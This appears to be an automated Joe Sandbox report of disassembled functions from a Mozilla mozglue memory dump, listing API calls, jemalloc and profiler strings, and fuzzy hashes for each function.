Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C67E621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
MALLOC_OPTIONS, xrefs: 6C67E3FF
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
MOZ_CRASH(), xrefs: 6C67E62B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Count entry, xrefs: 6C6A5AC3
schema, xrefs: 6C6A606D
data, xrefs: 6C6A6131
name, xrefs: 6C6A5E79, 6C6A5E8F
expected a Time entry, xrefs: 6C6A5CB6

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66789F
Dml, xrefs: 6C66787F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
get , xrefs: 6C6A3205
set , xrefs: 6C6A36EC

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311
data, xrefs: 6C698280, 6C6983E1
name, xrefs: 6C697ECF, 6C698335
(pre-xul), xrefs: 6C697E88

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_CRASH(), xrefs: 6C677BA4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

